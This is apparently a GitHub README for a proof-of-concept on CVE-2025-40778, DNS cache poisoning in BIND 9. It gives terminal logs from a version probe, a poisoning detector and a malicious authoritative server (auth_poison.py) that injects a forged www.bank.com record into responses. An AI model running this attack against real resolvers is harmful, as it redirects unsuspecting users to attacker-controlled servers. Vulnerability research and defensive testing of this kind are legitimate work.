nehkark/cve-2025-40778Proof-of-concept demonstrating DNS cache poisoning via additional record injection in BIND 9, with tools to validate and exploit CVE-2025-40778 for authorized security testing.
Educational demonstration of DNS Cache Poisoning vulnerability via Additional Records injection.
FOR EDUCATIONAL PURPOSES ONLY
This tool is provided for educational and authorized security testing purposes only. Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal and unethical.
The author assumes no liability for misuse or damage caused by this tool.
This PoC demonstrates how a compromised authoritative DNS server can inject poisoned records into DNS responses, potentially redirecting users to malicious servers without their knowledge.
Attack Vector:
Possible scenarios:
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pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
This tool detects whether it is possible to exploit the vulnerability CVE-2025-40778
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CVE-2025-40778 - Forwarder Configuration Validator
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Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
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CVE-2025-40778 VALIDATION - Forwarder Configuration
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DNS Server: 200.0.0.X
Domain: www.company.com
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[1/3] Resolution Test for www.company.com
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[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
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Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
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Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
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CONFIGURATION VALIDATED
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Description: In this step, you launch the malicious authoritative DNS server that simulates a compromised nameserver. The server listens on a specific IP and port (127.0.0.2:5301), ready to inject poisoned DNS records into responses. When configured, it will respond to legitimate queries for www.test.local with the correct IP address, but simultaneously inject a malicious record for www.bank.com pointing to an attacker-controlled IP. This dual-response behavior is the core of the cache poisoning attack - the vulnerable DNS resolver will cache both the legitimate answer and the poisoned record, even though only one domain was requested.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
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CVE-2025-40778 PoC - poc-linux | krakhen.dev
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[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Description: Here you perform a standard DNS query through your local resolver (BIND) to verify the infrastructure is working correctly. The query for www.test.local should return the legitimate IP address (192.168.0.136) as expected. At this point, the response appears normal to the end user - there's no visible indication of compromise. However, behind the scenes, the vulnerable DNS resolver has already cached both records: the legitimate one you requested AND the poisoned record for www.bank.com that was injected in the additional section of the response. This step confirms your DNS resolver successfully communicated with the malicious authoritative server and processed its response.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87